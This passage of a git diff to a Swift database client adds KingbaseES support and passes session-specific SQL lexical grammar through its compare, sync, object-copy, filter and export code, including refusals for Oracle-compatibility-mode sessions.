.zeroX diff --git a/apple/TablePro/Core/Compare/CompareSyncEngineFamily.swift b/apple/TablePro/Core/Compare/CompareSyncEngineFamily.swift index 0cf57bd72f..5bb2179c04 100644 --- a/apple/TablePro/Core/Compare/CompareSyncEngineFamily.swift +++ b/apple/TablePro/Core/Compare/CompareSyncEngineFamily.swift @@ -9,13 +9,21 @@ // import Foundation +import TableProPluginKit internal enum CompareSyncEngineFamily { /// A sampled column list is not a schema. A field the source's sample missed reads as one the /// target holds and the source does not, and a script would remove it from every document of /// the target. - internal static func canGenerateStructureScript(from source: DatabaseType, to target: DatabaseType) -> Bool { + internal static func canGenerateStructureScript( + from source: DatabaseType, + to target: DatabaseType, + sourceSession: PluginSessionLexicalState? = nil, + targetSession: PluginSessionLexicalState? = nil + ) -> Bool { guard !source.columnsAreSampled, !target.columnsAreSampled else { return false } + let sourceFamily = SQLTypeFamily.of(source, session: sourceSession) + guard sourceFamily == SQLTypeFamily.of(target, session: targetSession) else { return false } guard source != target else { return true } return sameFamily(source, target) } @@ -28,18 +36,31 @@ internal enum CompareSyncEngineFamily { private static let compatiblePairKeys: Set = { let pairs: [[DatabaseType]] = [ - [.mysql, .mariadb] + [.mysql, .mariadb], + [.postgresql, .kingbasees] ] return Set(pairs.map { $0.map { $0.rawValue }.sorted().joined(separator: "\u{1F}") }) }() - internal static func structureScriptRefusal(from source: DatabaseType, to target: DatabaseType) -> String { + internal static func structureScriptRefusal( + from source: DatabaseType, + to target: DatabaseType, + sourceSession: PluginSessionLexicalState? = nil, + targetSession: PluginSessionLexicalState? = nil + ) -> String { if let sampled = [source, target].first(where: \.columnsAreSampled) { return String( format: String(localized: "%@ lists a collection's fields from a sample of its documents, so structures can be compared but no script is generated."), sampled.rawValue ) } + if let moded = [(source, sourceSession), (target, targetSession)] + .first(where: { SQLTypeFamily.leavesFamily($0.0, session: $0.1) }) { + return String( + format: String(localized: "%@ runs in a compatibility mode with column types of its own, so structures can be compared but no script is generated."), + moded.0.rawValue + ) + } return String( format: String(localized: "Structure sync needs matching database types. %@ and %@ can be compared, but no script is generated."), source.rawValue, target.rawValue diff --git a/apple/TablePro/Core/Compare/CompareSyncExecutor.swift b/apple/TablePro/Core/Compare/CompareSyncExecutor.swift index f85a8f3329..f5dd7f1942 100644 --- a/apple/TablePro/Core/Compare/CompareSyncExecutor.swift +++ b/apple/TablePro/Core/Compare/CompareSyncExecutor.swift @@ -159,7 +159,13 @@ internal actor CompareSyncExecutor { let request = OperationRequest( connectionId: target.connectionId, databaseType: target.databaseType, - sql: Self.digest(of: runnable, databaseType: target.databaseType), + sql: Self.digest( + of: runnable, + databaseType: target.databaseType, + grammar: SQLLexicalResolver.readings( + for: target.databaseType, session: driver.sessionLexicalState + ).execution + ), kind: Self.kind(for: mode, statements: runnable, databaseType: target.databaseType), caller: .userInterface, capabilities: [.mayWrite, .mayRunDestructive, .mayRunMultiStatement, .confirmationPreCleared], @@ -330,8 +336,12 @@ internal actor CompareSyncExecutor { /// statement count and a hash of every statement, so two scripts that share their first ten /// thousand characters are never recorded as the same run. Each statement is written the way the /// saved script writes it, so the gate reads statements ended where they end. - static func digest(of statements: [SyncStatement], databaseType: DatabaseType) -> String { - let scriptText = SQLScriptText(databaseType: databaseType) + static func digest( + of statements: [SyncStatement], + databaseType: DatabaseType, + grammar: SQLLexicalGrammar? = nil + ) -> String { + let scriptText = SQLScriptText(databaseType: databaseType, grammar: grammar ?? databaseType.lexicalGrammar) var digest = "" var length = 0 for statement in statements { diff --git a/apple/TablePro/Core/Compare/CompareSyncSession.swift b/apple/TablePro/Core/Compare/CompareSyncSession.swift index a14e41ad6f..6077bd999e 100644 --- a/apple/TablePro/Core/Compare/CompareSyncSession.swift +++ b/apple/TablePro/Core/Compare/CompareSyncSession.swift @@ -185,13 +185,23 @@ internal final class CompareSyncSession: ObservableObject { internal var canGenerateStructureScript: Bool { guard mode == .structure, let source, let target else { return false } - return CompareSyncEngineFamily.canGenerateStructureScript(from: source.databaseType, to: target.databaseType) + return CompareSyncEngineFamily.canGenerateStructureScript( + from: source.databaseType, + to: target.databaseType, + sourceSession: SQLLexicalResolver.sessionState(for: source.connectionId), + targetSession: SQLLexicalResolver.sessionState(for: target.connectionId) + ) } internal var crossEngineNotice: String? { guard let source, let target else { return nil } if mode == .structure, !canGenerateStructureScript { - return CompareSyncEngineFamily.structureScriptRefusal(from: source.databaseType, to: target.databaseType) + return CompareSyncEngineFamily.structureScriptRefusal( + from: source.databaseType, + to: target.databaseType, + sourceSession: SQLLexicalResolver.sessionState(for: source.connectionId), + targetSession: SQLLexicalResolver.sessionState(for: target.connectionId) + ) } return CompareSyncEngineFamily.crossEngineDataWarning(from: source.databaseType, to: target.databaseType) } @@ -395,8 +405,9 @@ internal final class CompareSyncSession: ObservableObject { } private func script(of statements: [SyncStatement]) -> String { - guard let databaseType = target?.databaseType else { return "" } - return SQLScriptText(databaseType: databaseType).script(statements.map(\.sql)) + guard let target else { return "" } + let grammar = SQLLexicalResolver.executionGrammar(for: target.databaseType, connectionId: target.connectionId) + return SQLScriptText(databaseType: target.databaseType, grammar: grammar).script(statements.map(\.sql)) } // MARK: - Results view diff --git a/apple/TablePro/Core/Compare/SchemaSyncScriptBuilder.swift b/apple/TablePro/Core/Compare/SchemaSyncScriptBuilder.swift index bd753dabe4..57c860b9e9 100644 --- a/apple/TablePro/Core/Compare/SchemaSyncScriptBuilder.swift +++ b/apple/TablePro/Core/Compare/SchemaSyncScriptBuilder.swift @@ -20,7 +20,12 @@ internal struct SchemaSyncScriptBuilder { internal init(targetDriver: any PluginDatabaseDriver, targetDatabaseType: DatabaseType) { self.targetDriver = targetDriver self.targetTypeFamily = SQLTypeFamily.of(targetDatabaseType) - self.scriptText = SQLScriptText(databaseType: targetDatabaseType) + self.scriptText = SQLScriptText( + databaseType: targetDatabaseType, + grammar: SQLLexicalResolver.readings( + for: targetDatabaseType, session: targetDriver.sessionLexicalState + ).execution + ) } internal func build( diff --git a/apple/TablePro/Core/Compare/SourceObjectDiffEngine.swift b/apple/TablePro/Core/Compare/SourceObjectDiffEngine.swift index f9481ba8f0..5ea255cd10 100644 --- a/apple/TablePro/Core/Compare/SourceObjectDiffEngine.swift +++ b/apple/TablePro/Core/Compare/SourceObjectDiffEngine.swift @@ -29,11 +29,17 @@ internal struct SourceObjectDiffEngine { options: StructureCompareOptions = .default, sourceDatabaseType: DatabaseType, targetDatabaseType: DatabaseType, - targetIndexedKinds: Set + targetIndexedKinds: Set, + sourceGrammar: SQLLexicalGrammar? = nil, + targetGrammar: SQLLexicalGrammar? = nil ) { self.options = options - self.sourceScriptText = SQLScriptText(databaseType: sourceDatabaseType) - self.targetScriptText = SQLScriptText(databaseType: targetDatabaseType) + self.sourceScriptText = SQLScriptText( + databaseType: sourceDatabaseType, grammar: sourceGrammar ?? sourceDatabaseType.lexicalGrammar + ) + self.targetScriptText = SQLScriptText( + databaseType: targetDatabaseType, grammar: targetGrammar ?? targetDatabaseType.lexicalGrammar + ) self.targetIndexedKinds = targetIndexedKinds } diff --git a/apple/TablePro/Core/Compare/SourceObjectSyncBuilder.swift b/apple/TablePro/Core/Compare/SourceObjectSyncBuilder.swift index e839430c90..a07f42130c 100644 --- a/apple/TablePro/Core/Compare/SourceObjectSyncBuilder.swift +++ b/apple/TablePro/Core/Compare/SourceObjectSyncBuilder.swift @@ -21,6 +21,7 @@ import Foundation import os import TableProPluginKit +import TableProSQLGrammar internal struct SourceObjectSyncBuilder { private static let logger = Logger(subsystem: "com.TablePro", category: "SourceObjectSyncBuilder") @@ -40,7 +41,12 @@ internal struct SourceObjectSyncBuilder { self.targetDriver = targetDriver self.targetDatabaseType = targetDatabaseType self.indexSchema = indexSchema - self.scriptText = SQLScriptText(databaseType: targetDatabaseType) + self.scriptText = SQLScriptText( + databaseType: targetDatabaseType, + grammar: SQLLexicalResolver.readings( + for: targetDatabaseType, session: targetDriver.sessionLexicalState + ).execution + ) self.changeBuilder = SchemaSyncScriptBuilder(targetDriver: targetDriver, targetDatabaseType: targetDatabaseType) } diff --git a/apple/TablePro/Core/CrossEngine/CrossEngineIndexTranslator.swift b/apple/TablePro/Core/CrossEngine/CrossEngineIndexTranslator.swift index adc5485830..3232ba57c7 100644 --- a/apple/TablePro/Core/CrossEngine/CrossEngineIndexTranslator.swift +++ b/apple/TablePro/Core/CrossEngine/CrossEngineIndexTranslator.swift @@ -146,7 +146,7 @@ internal enum CrossEngineIndexTranslator { /// The database types whose index type is the server's own access method, read from `pg_am`, so /// `BLOOM`, `HNSW` or `IVFFLAT` names something a PostgreSQL `USING` clause can write. - private static let accessMethodSources: Set = [.postgresql, .pglite] + private static let accessMethodSources: Set = [.postgresql, .pglite, .kingbasees] /// The database types whose indexes, past the primary key, are keys of the table itself: /// Redshift's `DISTKEY` and `SORTKEY`, Snowflake's clustering key, and BigQuery's clustering and diff --git a/apple/TablePro/Core/CrossEngine/SQLTypeFamily.swift b/apple/TablePro/Core/CrossEngine/SQLTypeFamily.swift index beeff299d8..408762ef7f 100644 --- a/apple/TablePro/Core/CrossEngine/SQLTypeFamily.swift +++ b/apple/TablePro/Core/CrossEngine/SQLTypeFamily.swift @@ -17,6 +17,7 @@ // import Foundation +import TableProPluginKit internal enum SQLTypeFamily: String, Hashable, Sendable, CaseIterable { case mysql @@ -32,6 +33,20 @@ internal enum SQLTypeFamily: String, Hashable, Sendable, CaseIterable { familiesByTypeId[type.rawValue] ?? .generic } + /// The family a live session spells its types in. A KingbaseES cluster initialized in Oracle mode spells + /// `varchar2(10)` as `character varying(10 char)` and `date` as `sys.date`, a timestamp, and PostgreSQL parses + /// neither (measured on V9R1C10). Its driver reports that mode as PL/SQL lexing, the one part of it a session + /// carries, so such a session has no family a copy can cross to. + internal static func of(_ type: DatabaseType, session: PluginSessionLexicalState?) -> SQLTypeFamily { + if leavesFamily(type, session: session) { return .generic } + return of(type) + } + + /// Whether the session's mode takes it out of the family its engine has. + internal static func leavesFamily(_ type: DatabaseType, session: PluginSessionLexicalState?) -> Bool { + type == .kingbasees && session?.enabled.contains(.plsqlBlocks) == true + } + /// MySQL reads a `BIT` back as the number it holds; PostgreSQL and DuckDB read theirs as a string of digits. internal var readsBitsAsDecimal: Bool { self == .mysql } @@ -60,6 +75,7 @@ internal enum SQLTypeFamily: String, Hashable, Sendable, CaseIterable { "AlloyDB": .postgres, "Citus": .postgres, "Greenplum": .postgres, + "KingbaseES": .postgres, "SQLite": .sqlite, "libSQL": .sqlite, "Turso": .sqlite, diff --git a/apple/TablePro/Core/DataWrite/DataWriteRowCounts.swift b/apple/TablePro/Core/DataWrite/DataWriteRowCounts.swift index c1a8415f58..7c584aff47 100644 --- a/apple/TablePro/Core/DataWrite/DataWriteRowCounts.swift +++ b/apple/TablePro/Core/DataWrite/DataWriteRowCounts.swift @@ -15,7 +15,7 @@ import Foundation enum DataWriteRowCounts { private static let enginesReportingRealCounts: Set = [ .mysql, .mariadb, .tidb, .oceanbase, - .postgresql, .redshift, .cockroachdb, .pglite, + .postgresql, .redshift, .cockroachdb, .pglite, .kingbasees, .sqlite, .libsql, .turso, .duckdb, .mssql, .oracle, ] diff --git a/apple/TablePro/Core/DataWrite/ExplicitIdentityInsert.swift b/apple/TablePro/Core/DataWrite/ExplicitIdentityInsert.swift index f0c6ab7947..8a03dfefd9 100644 --- a/apple/TablePro/Core/DataWrite/ExplicitIdentityInsert.swift +++ b/apple/TablePro/Core/DataWrite/ExplicitIdentityInsert.swift @@ -16,7 +16,7 @@ enum ExplicitIdentityInsert: Equatable { static func style(for databaseType: DatabaseType) -> ExplicitIdentityInsert? { switch databaseType { - case .postgresql, .pglite: + case .postgresql, .pglite, .kingbasees: return .overridingSystemValue case .mssql: return .identityInsertSession diff --git a/apple/TablePro/Core/Database/Access/DatabaseAccessBridge.swift b/apple/TablePro/Core/Database/Access/DatabaseAccessBridge.swift index 8aa3ccd4d8..5f00b084c2 100644 --- a/apple/TablePro/Core/Database/Access/DatabaseAccessBridge.swift +++ b/apple/TablePro/Core/Database/Access/DatabaseAccessBridge.swift @@ -214,8 +214,11 @@ internal actor DatabaseAccessBridge { guard !Self.statementText(query, grammar: .ansi).isEmpty else { throw DatabaseAccessError.invalidArgument(String(localized: "The query is empty.")) } - let databaseType = try await ensureConnected(scope.connectionId) - let normalizedQuery = Self.statementText(query, databaseType: databaseType) + let (sessionDriver, databaseType) = try await resolveDriver(scope.connectionId) + let grammar = SQLLexicalResolver.readings( + for: databaseType, session: sessionDriver.sessionLexicalState + ).execution + let normalizedQuery = Self.statementText(query, databaseType: databaseType, grammar: grammar) guard !normalizedQuery.isEmpty else { throw DatabaseAccessError.invalidArgument(String(localized: "The query is empty.")) } @@ -253,7 +256,6 @@ internal actor DatabaseAccessBridge { /// A write that timed out or failed may still have committed: a group only returns once /// every child has, so by the time the error arrives the driver call has finished one way or /// the other, and a catalog that might have changed is refreshed rather than trusted. - let grammar = databaseType.lexicalGrammar let result: QueryResult let tableEdits: SucceededStatements? do { @@ -405,11 +407,15 @@ internal actor DatabaseAccessBridge { SQLStatementScanner.executableText(of: query, grammar: grammar) } - internal static func statementText(_ query: String, databaseType: DatabaseType) -> String { + internal static func statementText( + _ query: String, + databaseType: DatabaseType, + grammar: SQLLexicalGrammar? = nil + ) -> String { QueryStatementScanner.executableText( of: query, model: QueryStatementModel.forDatabaseType(databaseType), - grammar: databaseType.lexicalGrammar + grammar: grammar ?? databaseType.lexicalGrammar ) } } diff --git a/apple/TablePro/Core/Database/DatabaseManager+Startup.swift b/apple/TablePro/Core/Database/DatabaseManager+Startup.swift index e65a935a0b..5f68e9c7a7 100644 --- a/apple/TablePro/Core/Database/DatabaseManager+Startup.swift +++ b/apple/TablePro/Core/Database/DatabaseManager+Startup.swift @@ -24,15 +24,19 @@ extension DatabaseManager { return !commands.trimmingCharacters(in: .whitespacesAndNewlines).isEmpty } - /// The statements `executeStartupCommands` sends, one per line or `;`, read the way the engine reads a quote or a + /// The statements `executeStartupCommands` sends, one per line or `;`, read the way the session reads a quote or a /// comment. Also read by the catalog, because a temporary table a startup command creates shadows a real one for /// the whole session. - nonisolated internal static func startupStatements(from commands: String?, databaseType: DatabaseType) -> [String] { + nonisolated internal static func startupStatements( + from commands: String?, + databaseType: DatabaseType, + grammar sessionGrammar: SQLLexicalGrammar? = nil + ) -> [String] { guard hasStartupCommands(commands), let commands else { return [] } if QueryStatementModel.forDatabaseType(databaseType) == .redis { return RedisCommandSplitter.commands(in: commands).map(\.text) } - let grammar = databaseType.lexicalGrammar + let grammar = sessionGrammar ?? databaseType.lexicalGrammar let source = commands as NSString var statements: [String] = [] var lineStart = 0 @@ -62,7 +66,9 @@ extension DatabaseManager { _ commands: String?, on driver: DatabaseDriver, connectionName: String ) async -> [(statement: String, error: String)] { var failures: [(statement: String, error: String)] = [] - for statement in Self.startupStatements(from: commands, databaseType: driver.connection.type) { + let databaseType = driver.connection.type + let grammar = SQLLexicalResolver.readings(for: databaseType, session: driver.sessionLexicalState).execution + for statement in Self.startupStatements(from: commands, databaseType: databaseType, grammar: grammar) { do { _ = try await driver.execute(query: statement) Self.startupLogger.info( diff --git a/apple/TablePro/Core/Database/FilterSQLGenerator.swift b/apple/TablePro/Core/Database/FilterSQLGenerator.swift index 09a83f2bf3..6f0f1b97f0 100644 --- a/apple/TablePro/Core/Database/FilterSQLGenerator.swift +++ b/apple/TablePro/Core/Database/FilterSQLGenerator.swift @@ -31,6 +31,9 @@ struct FilterSQLGenerator { private let stringLiteralPrefix: String /// The engine's type family, for the comparisons a dialect descriptor cannot describe. private let family: SQLTypeFamily? + // Oracle reads the literal '' as NULL, and so does KingbaseES in Oracle mode, which its type cannot tell apart + // from its PostgreSQL mode, so `c != ''` matches no row there. + private let readsEmptyStringAsNull: Bool init( dialect: SQLDialectDescriptor, @@ -45,6 +48,7 @@ struct FilterSQLGenerator { self.columnTypesByName = ColumnTypeSQLQuoting.lookupByName(columns: columns, columnTypes: columnTypes) self.stringLiteralPrefix = stringLiteralPrefix self.family = databaseType.map(SQLTypeFamily.of) + self.readsEmptyStringAsNull = family == .oracle || databaseType == .kingbasees } /// The one place a string literal is spelled, so the engine's prefix cannot be forgotten on @@ -125,13 +129,15 @@ struct FilterSQLGenerator { guard ColumnTypeSQLQuoting.supportsEmptyStringComparison(columnType) else { return "\(quotedColumn) IS NULL" } - return "(\(quotedColumn) IS NULL OR \(patternOperand(quotedColumn, columnType: columnType)) = '')" + let operand = patternOperand(quotedColumn, columnType: columnType) + return "(\(quotedColumn) IS NULL OR \(emptyValueTest(operand, negated: false)))" case .isNotEmpty: guard ColumnTypeSQLQuoting.supportsEmptyStringComparison(columnType) else { return "\(quotedColumn) IS NOT NULL" } - return "(\(quotedColumn) IS NOT NULL AND \(patternOperand(quotedColumn, columnType: columnType)) != '')" + let operand = patternOperand(quotedColumn, columnType: columnType) + return "(\(quotedColumn) IS NOT NULL AND \(emptyValueTest(operand, negated: true)))" case .inList: return generateInCondition( @@ -164,6 +170,11 @@ struct FilterSQLGenerator { } } + private func emptyValueTest(_ operand: String, negated: Bool) -> String { + guard readsEmptyStringAsNull else { return "\(operand) \(negated ? "!=" : "=") ''" } + return "LENGTH(\(operand)) \(negated ? ">" : "=") 0" + } + /// SQLite keeps integer 5 and text '5' apart in a column with no affinity, and the grid reads both as `5`, /// so SQLite's own text for a number matches either one. private func eitherStorageComparison(_ column: String, _ value: String, columnType: ColumnType?, negated: Bool) -> String? { diff --git a/apple/TablePro/Core/Diagnostics/QueryDiagnostic.swift b/apple/TablePro/Core/Diagnostics/QueryDiagnostic.swift index 0bba3e9ea4..96d91478f3 100644 --- a/apple/TablePro/Core/Diagnostics/QueryDiagnostic.swift +++ b/apple/TablePro/Core/Diagnostics/QueryDiagnostic.swift @@ -1,5 +1,6 @@ import Foundation import TableProPluginKit +import TableProSQLGrammar struct QueryDiagnostic: Equatable, Identifiable { enum Severity: String { @@ -42,7 +43,7 @@ struct CombinedQueryDiagnosticsProducer: QueryDiagnosticsProducing { @MainActor enum QueryDiagnosticsFactory { - static func make(for databaseType: DatabaseType?) -> QueryDiagnosticsProducing { + static func make(for databaseType: DatabaseType?, grammar: SQLLexicalGrammar? = nil) -> QueryDiagnosticsProducing { let resolvedType = databaseType ?? .mysql // Highlighting as JavaScript does not make the language JavaScript: Elasticsearch, Typesense @@ -57,7 +58,7 @@ enum QueryDiagnosticsFactory { case .sql: return CombinedQueryDiagnosticsProducer(producers: [ SQLDiagnosticsProducer(), - SQLConfusableCharacterDiagnosticsProducer(grammar: resolvedType.lexicalGrammar) + SQLConfusableCharacterDiagnosticsProducer(grammar: grammar ?? resolvedType.lexicalGrammar) ]) case .bash: // A command line's arguments are plain text, so `SET smile :)` holds a bracket that closes diff --git a/apple/TablePro/Core/ObjectCopy/ObjectCopyEligibility.swift b/apple/TablePro/Core/ObjectCopy/ObjectCopyEligibility.swift index 5d83919195..1d94e168ed 100644 --- a/apple/TablePro/Core/ObjectCopy/ObjectCopyEligibility.swift +++ b/apple/TablePro/Core/ObjectCopy/ObjectCopyEligibility.swift @@ -62,7 +62,9 @@ internal enum ObjectCopyEligibility { from source: DatabaseType, to target: DatabaseType, sourceLanguage: EditorLanguage, - targetLanguage: EditorLanguage + targetLanguage: EditorLanguage, + sourceSession: PluginSessionLexicalState? = nil, + targetSession: PluginSessionLexicalState? = nil ) -> String? { guard supportsCopying(editorLanguage: sourceLanguage), supportsCopying(editorLanguage: targetLanguage) else { @@ -71,7 +73,7 @@ internal enum ObjectCopyEligibility { source.rawValue, target.rawValue ) } - return crossEngineRefusal(from: source, to: target) + return crossEngineRefusal(from: source, sourceSession, to: target, targetSession) } /// The second half of the gate, and the one the editor language cannot answer. @@ -81,8 +83,12 @@ internal enum ObjectCopyEligibility { /// where both engines have a type system `SQLTypeFamily` names, which is the same set the /// translation was written and tested against. Within one engine nothing is translated, so an /// engine no family names still copies to itself. - private static func crossEngineRefusal(from source: DatabaseType, to target: DatabaseType) -> String? { - guard SQLTypeFamily.needsTranslation(from: source, to: target) else { return nil } + private static func crossEngineRefusal( + from source: DatabaseType, _ sourceSession: PluginSessionLexicalState?, + to target: DatabaseType, _ targetSession: PluginSessionLexicalState? + ) -> String? { + guard crosses(from: source, sourceSession, to: target, targetSession) else { return nil } + if let moded = modeRefusal(source, sourceSession, target, targetSession) { return moded } let unnamed = [source, target].filter { SQLTypeFamily.of($0) == .generic } guard let first = unnamed.first else { return nil } return String( @@ -93,6 +99,33 @@ internal enum ObjectCopyEligibility { ) } + /// `SQLTypeFamily.needsTranslation` with each side's session applied, so two servers of one engine + /// in different modes cross as well. + private static func crosses( + from source: DatabaseType, _ sourceSession: PluginSessionLexicalState?, + to target: DatabaseType, _ targetSession: PluginSessionLexicalState? + ) -> Bool { + let sourceFamily = SQLTypeFamily.of(source, session: sourceSession) + let targetFamily = SQLTypeFamily.of(target, session: targetSession) + if source == target { return sourceFamily != targetFamily } + return sourceFamily != targetFamily || sourceFamily == .generic + } + + private static func modeRefusal( + _ source: DatabaseType, _ sourceSession: PluginSessionLexicalState?, + _ target: DatabaseType, _ targetSession: PluginSessionLexicalState? + ) -> String? { + let moded = [(source, sourceSession), (target, targetSession)] + .first { SQLTypeFamily.leavesFamily($0.0, session: $0.1) } + guard let moded else { return nil } + return String( + format: String( + localized: "%@ runs in a compatibility mode with column types of its own. Copy to a target of the same type in the same mode." + ), + moded.0.rawValue + ) + } + /// Why a view, routine or trigger cannot cross to another engine. /// /// Its definition is the source's own SQL text and nothing here parses it, so a MySQL view's @@ -101,9 +134,12 @@ internal enum ObjectCopyEligibility { /// structure the translator can restate; a definition has only text. internal static func definitionEngineRefusal( from source: DatabaseType, - to target: DatabaseType + to target: DatabaseType, + sourceSession: PluginSessionLexicalState? = nil, + targetSession: PluginSessionLexicalState? = nil ) -> String? { - guard SQLTypeFamily.needsTranslation(from: source, to: target) else { return nil } + guard crosses(from: source, sourceSession, to: target, targetSession) else { return nil } + if let moded = modeRefusal(source, sourceSession, target, targetSession) { return moded } return String( format: String( localized: "Its definition is written in %1$@'s own SQL, which %2$@ does not parse." diff --git a/apple/TablePro/Core/ObjectCopy/ObjectCopyPlan.swift b/apple/TablePro/Core/ObjectCopy/ObjectCopyPlan.swift index 127c8315fd..926323d086 100644 --- a/apple/TablePro/Core/ObjectCopy/ObjectCopyPlan.swift +++ b/apple/TablePro/Core/ObjectCopy/ObjectCopyPlan.swift @@ -12,6 +12,7 @@ import Foundation import TableProPluginKit +import TableProSQLGrammar /// One table's work: its DDL, and the read and write it will stream between. internal struct ObjectCopyTableStep: Identifiable, Sendable { @@ -224,6 +225,8 @@ internal struct ObjectCopyPlan: Sendable { /// so the run may write that DDL under the target's write scope. A definition read as the /// session is runs as the session is, the way it did before scopes. internal let isStructureReadPinned: Bool + /// The target session's execution grammar, which the review script is written in. + internal let targetGrammar: SQLLexicalGrammar internal init( request: ObjectCopyRequest, @@ -232,7 +235,8 @@ internal struct ObjectCopyPlan: Sendable { definitionSteps: [ObjectCopyDefinitionStep], schemaStatements: [SyncStatement] = [], skipped: [ObjectCopySkip] = [], - isStructureReadPinned: Bool = false + isStructureReadPinned: Bool = false, + targetGrammar: SQLLexicalGrammar? = nil ) { self.request = request self.createsDatabase = createsDatabase @@ -241,6 +245,7 @@ internal struct ObjectCopyPlan: Sendable { self.schemaStatements = schemaStatements self.skipped = skipped self.isStructureReadPinned = isStructureReadPinned + self.targetGrammar = targetGrammar ?? request.target.databaseType.lexicalGrammar } /// Shown above the script, for the caveats the copy cannot do anything about: a key column the @@ -386,7 +391,7 @@ internal struct ObjectCopyPlan: Sendable { /// filled, and a user reasoning about a cascade from what they were asked to approve reached /// the opposite conclusion from what the run would do. internal var scriptText: String { - let script = SQLScriptText(databaseType: request.target.databaseType) + let script = SQLScriptText(databaseType: request.target.databaseType, grammar: targetGrammar) var lines: [String] = [] if case .newDatabase(_, let name, _) = request.destination { lines.append(String(format: String(localized: "-- Create database %@"), name)) diff --git a/apple/TablePro/Core/ObjectCopy/ObjectCopyPlanner.swift b/apple/TablePro/Core/ObjectCopy/ObjectCopyPlanner.swift index 448133d1ca..375a845484 100644 --- a/apple/TablePro/Core/ObjectCopy/ObjectCopyPlanner.swift +++ b/apple/TablePro/Core/ObjectCopy/ObjectCopyPlanner.swift @@ -152,7 +152,10 @@ internal struct ObjectCopyPlanner { definitionSteps: definitionSteps, schemaStatements: try await buildSchemaStatements(request, namespaces: targetNamespaces), skipped: skipped, - isStructureReadPinned: isStructureReadPinned + isStructureReadPinned: isStructureReadPinned, + targetGrammar: SQLLexicalResolver.executionGrammar( + for: request.target.databaseType, connectionId: request.target.connectionId + ) ) } @@ -203,7 +206,12 @@ internal struct ObjectCopyPlanner { scope: targetScope(request, endpoint: request.target) ) { driver in guard let plugin = CompareMetadataService.pluginDriver(from: driver) else { return [] } - let scriptText = SQLScriptText(databaseType: driver.connection.type) + let scriptText = SQLScriptText( + databaseType: driver.connection.type, + grammar: SQLLexicalResolver.readings( + for: driver.connection.type, session: driver.sessionLexicalState + ).execution + ) return namespaces.flatMap { name -> [SyncStatement] in guard let sql = plugin.createSchemaStatement(name: name) else { return [] } let summary = String(format: String(localized: "Create schema %@"), name) @@ -283,7 +291,9 @@ internal struct ObjectCopyPlanner { from: request.source.databaseType, to: request.target.databaseType, sourceLanguage: PluginManager.shared.editorLanguage(for: request.source.databaseType), - targetLanguage: PluginManager.shared.editorLanguage(for: request.target.databaseType) + targetLanguage: PluginManager.shared.editorLanguage(for: request.target.databaseType), + sourceSession: manager.driver(for: request.source.connectionId)?.sessionLexicalState, + targetSession: manager.driver(for: request.target.connectionId)?.sessionLexicalState ) { throw ObjectCopyError.refused(reason) } @@ -849,7 +859,8 @@ internal struct ObjectCopyPlanner { format: String(localized: "Every row already in %@ is removed."), table ) )] - return SQLScriptText(databaseType: databaseType).sendableStatements(sql).map { statement in + let grammar = SQLLexicalResolver.readings(for: databaseType, session: driver.sessionLexicalState).execution + return SQLScriptText(databaseType: databaseType, grammar: grammar).sendableStatements(sql).map { statement in SyncStatement(sql: statement, objectName: table, summary: summary, hazards: hazards) } } @@ -881,7 +892,10 @@ internal struct ObjectCopyPlanner { /// engines alone, so one skip per object here costs nothing while reading every body first /// and discarding all of them costs a round trip per object. if let reason = ObjectCopyEligibility.definitionEngineRefusal( - from: request.source.databaseType, to: request.target.databaseType + from: request.source.databaseType, + to: request.target.databaseType, + sourceSession: manager.driver(for: request.source.connectionId)?.sessionLexicalState, + targetSession: manager.driver(for: request.target.connectionId)?.sessionLexicalState ) { skipped += selections.map { ObjectCopySkip(selection: $0, reason: reason) } return [] @@ -907,7 +921,12 @@ internal struct ObjectCopyPlanner { sourceReads: sourceReads, connection: connection ) - let targetScriptText = SQLScriptText(databaseType: request.target.databaseType) + let targetScriptText = SQLScriptText( + databaseType: request.target.databaseType, + grammar: SQLLexicalResolver.executionGrammar( + for: request.target.databaseType, connectionId: request.target.connectionId + ) + ) var pending: [( selection: ObjectCopySelection, definition: String, read: RoutineSourceRead, target: ObjectCopySelection? )] = [] diff --git a/apple/TablePro/Core/ObjectCopy/ObjectCopySession.swift b/apple/TablePro/Core/ObjectCopy/ObjectCopySession.swift index d70010ee22..3c3b28e2e1 100644 --- a/apple/TablePro/Core/ObjectCopy/ObjectCopySession.swift +++ b/apple/TablePro/Core/ObjectCopy/ObjectCopySession.swift @@ -183,7 +183,9 @@ internal final class ObjectCopySession: ObservableObject { from: source.databaseType, to: target.databaseType, sourceLanguage: PluginManager.shared.editorLanguage(for: source.databaseType), - targetLanguage: PluginManager.shared.editorLanguage(for: target.databaseType) + targetLanguage: PluginManager.shared.editorLanguage(for: target.databaseType), + sourceSession: SQLLexicalResolver.sessionState(for: source.connectionId), + targetSession: SQLLexicalResolver.sessionState(for: target.connectionId) ) { return reason } diff --git a/apple/TablePro/Core/Plugins/DatabaseType+Registry.swift b/apple/TablePro/Core/Plugins/DatabaseType+Registry.swift index 2834f53641..a05f015296 100644 --- a/apple/TablePro/Core/Plugins/DatabaseType+Registry.swift +++ b/apple/TablePro/Core/Plugins/DatabaseType+Registry.swift @@ -175,6 +175,8 @@ extension DatabaseType { Preferred tries TLS first, falls back to plain. Matches psql and DataGrip defaults. \ Required by AWS RDS, Cloud SQL, Heroku, Supabase, Neon. """) + case "KingbaseES": + return String(localized: "Preferred tries TLS first, falls back to plain.") case _ where pluginTypeId == "MySQL": return String(localized: """ Preferred performs a 2-pass connect: tries TLS first, falls back to plain only on \ diff --git a/apple/TablePro/Core/Plugins/ExportDataSourceAdapter.swift b/apple/TablePro/Core/Plugins/ExportDataSourceAdapter.swift index 0f0d3cc92f..3a57d99e8c 100644 --- a/apple/TablePro/Core/Plugins/ExportDataSourceAdapter.swift +++ b/apple/TablePro/Core/Plugins/ExportDataSourceAdapter.swift @@ -408,7 +408,10 @@ final class ExportDataSourceAdapter: PluginExportDataSource, @unchecked Sendable /// Through the same owner Compare & Sync saves its scripts with, so a dump ends an Oracle unit on a `/` line and /// puts a MySQL routine in a `DELIMITER` block exactly as a saved sync script does. func scriptText(for ddl: String) -> String { - SQLScriptText(databaseType: dbType).scriptText(forDriverText: ddl) + SQLScriptText( + databaseType: dbType, + grammar: SQLLexicalResolver.readings(for: dbType, session: driver.sessionLexicalState).execution + ).scriptText(forDriverText: ddl) } /// `tableType` carries the routine's own kind for a `.routine`, because `DROP FUNCTION` and diff --git a/apple/TablePro/Core/Plugins/ImportDataSinkAdapter.swift b/apple/TablePro/Core/Plugins/ImportDataSinkAdapter.swift index f4fa5c70ea..4478e37f26 100644 --- a/apple/TablePro/Core/Plugins/ImportDataSinkAdapter.swift +++ 